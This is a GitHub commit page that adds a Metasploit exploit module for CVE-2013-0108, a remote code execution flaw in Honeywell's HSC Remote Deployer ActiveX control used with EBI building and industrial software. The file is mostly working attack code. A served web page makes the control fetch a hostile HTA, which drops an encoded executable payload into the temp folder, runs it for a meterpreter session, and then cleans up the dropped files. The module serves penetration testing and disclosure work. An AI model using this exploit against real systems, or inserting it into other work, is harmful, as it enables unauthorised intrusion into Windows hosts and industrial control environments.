Skip to content
Browse files

Adding Honeywell exploit.

  • Loading branch information...
1 parent b6458d2 commit d81d9261e7fb8e11b80b282b3d4c3d5b602c420b @todb todb committed
Showing with 213 additions and 0 deletions.
  1. +213 −0 modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb
View
213 modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb
@@ -0,0 +1,213 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpServer::HTML
+ include Msf::Exploit::EXE
+
+ def initialize(info={})
+ super(update_info(info,
+ 'Name' => "Honeywell HSC Remote Deployer ActiveX Remote Code Execution",
+ 'Description' => %q{
+ This modules exploits a vulnerability found in the Honewell HSC Remote Deployer
+ ActiveX. This control can be abused by using the LaunchInstaller() function to
+ execute an arbitrary HTA from a remote location. This module has been tested
+ successfully with the HSC Remote Deployer ActiveX installed with HoneyWell EBI
+ R410.1.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'juan vazquez'
+ ],
+ 'References' =>
+ [
+ [ 'CVE', '2013-0108' ],
+ [ 'OSVDB', '90583' ],
+ [ 'BID', '58134' ],
+ [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/02/04/cve-2013-0108-honeywell-ebi' ],
+ [ 'URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-053-02.pdf' ]
+ ],
+ 'Payload' =>
+ {
+ 'Space' => 2048,
+ 'StackAdjustment' => -3500
+ },
+ 'DefaultOptions' =>
+ {
+ 'InitialAutoRunScript' => 'migrate -f -k'
+ },
+ 'Platform' => 'win',
+ 'Targets' =>
+ [
+ [ 'Automatic', {} ]
+ ],
+ 'Privileged' => false,
+ 'DisclosureDate' => "Feb 22 2013",
+ 'DefaultTarget' => 0))
+ end
+
+ def exploit
+ @var_exename = rand_text_alpha(5 + rand(5)) + ".exe"
+ @dropped_files = [
+ @var_exename
+ ]
+ super
+ end
+
+ def on_new_session(session)
+ if session.type == "meterpreter"
+ session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
+ end
+
+ @dropped_files.delete_if do |file|
+ win_file = file.gsub("/", "\\\\")
+ if session.type == "meterpreter"
+ begin
+ wintemp = session.fs.file.expand_path("%TEMP%")
+ win_file = "#{wintemp}\\#{win_file}"
+ session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
+ session.fs.file.rm(win_file)
+ print_good("Deleted #{file}")
+ true
+ rescue ::Rex::Post::Meterpreter::RequestError
+ print_error("Failed to delete #{win_file}")
+ false
+ end
+
+ end
+ end
+ end
+
+ def build_hta(cli)
+ var_shellobj = rand_text_alpha(rand(5)+5);
+ var_fsobj = rand_text_alpha(rand(5)+5);
+ var_fsobj_file = rand_text_alpha(rand(5)+5);
+ var_vbsname = rand_text_alpha(rand(5)+5);
+ var_writedir = rand_text_alpha(rand(5)+5);
+
+ var_origLoc = rand_text_alpha(rand(5)+5);
+ var_byteArray = rand_text_alpha(rand(5)+5);
+ var_writestream = rand_text_alpha(rand(5)+5);
+ var_strmConv = rand_text_alpha(rand(5)+5);
+
+ p = regenerate_payload(cli);
+ exe = generate_payload_exe({ :code => p.encoded })
+
+ # Doing in this way to bypass the ADODB.Stream restrictions on JS,
+ # even when executing it as an "HTA" application
+ # The encoding code has been stolen from ie_unsafe_scripting.rb
+ print_status("Encoding payload into vbs/javascript/hta...");
+
+ # Build the content that will end up in the .vbs file
+ vbs_content = Rex::Text.to_hex(%Q|
+Dim #{var_origLoc}, s, #{var_byteArray}
+#{var_origLoc} = SetLocale(1033)
+|)
+ # Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
+ # for conversion with ADODB.Stream
+ vbs_ary = []
+ # The output of this loop needs to be as small as possible since it
+ # gets repeated for every byte of the executable, ballooning it by a
+ # factor of about 80k (the current size of the exe template). In its
+ # current form, it's down to about 4MB on the wire
+ exe.each_byte do |b|
+ vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")
+ end
+ vbs_content << vbs_ary.join("")
+
+ # Continue with the rest of the vbs file;
+ # Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
+ # Then use ADODB.Stream again to write the binary to file.
+ #print_status("Finishing vbs...");
+ vbs_content << Rex::Text.to_hex(%Q|
+Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
+ #{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{@var_exename}"
+
+Set #{var_strmConv} = CreateObject("ADODB.Stream")
+
+#{var_strmConv}.Type = 2
+#{var_strmConv}.Charset = "x-ansi"
+#{var_strmConv}.Open
+#{var_strmConv}.WriteText s, 0
+#{var_strmConv}.Position = 0
+#{var_strmConv}.Type = 1
+#{var_strmConv}.SaveToFile #{var_writedir}, 2
+
+SetLocale(#{var_origLoc})|)
+
+ hta = <<-EOS
+ <script>
+ var #{var_shellobj} = new ActiveXObject("WScript.Shell");
+ var #{var_fsobj} = new ActiveXObject("Scripting.FileSystemObject");
+ var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
+ var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);
+
+ #{var_fsobj_file}.Write(unescape("#{vbs_content}"));
+ #{var_fsobj_file}.Close();
+
+ #{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
+ #{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{@var_exename}", 0, false);
+ #{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
+ window.close();
+ </script>
+ EOS
+
+ return hta
+ end
+
+ def on_request_uri(cli, request)
+ agent = request.headers['User-Agent']
+
+ if agent !~ /MSIE \d/
+ print_error("Browser not supported: #{agent.to_s}")
+ send_not_found(cli)
+ return
+ end
+
+ uri = ((datastore['SSL']) ? "https://" : "http://")
+ uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'])
+ uri << ":#{datastore['SRVPORT']}"
+
+ print_status("Request received for #{request.uri}");
+
+ if request.uri =~ /\/SystemDisplays\/RemoteInstallWelcome.hta/
+ hta = build_hta(cli)
+ print_status("Sending HTA application")
+ send_response(cli, hta, {'Content-Type'=>'application/hta'})
+ return
+ end
+
+ html = <<-EOS
+ <html>
+ <body>
+ <object id="RemoteInstaller" classid="clsid:0D080D7D-28D2-4F86-BFA1-D582E5CE4867">
+ </object>
+ <script>
+ RemoteInstaller.LaunchInstaller("#{uri}", "", false);
+ </script>
+ </body>
+ </html>
+ EOS
+
+ # we need to handle direct /SystemDisplays/RemoteInstallWelcome.hta requests
+ proc = Proc.new do |cli, req|
+ on_request_uri(cli, req)
+ end
+
+ add_resource({'Path' => "/SystemDisplays/RemoteInstallWelcome.hta", 'Proc' => proc}) rescue nil
+
+ print_status("Sending html")
+ send_response(cli, html, {'Content-Type'=>'text/html'})
+
+ end
+
+end

0 comments on commit d81d926

Please sign in to comment.
Something went wrong with that request. Please try again.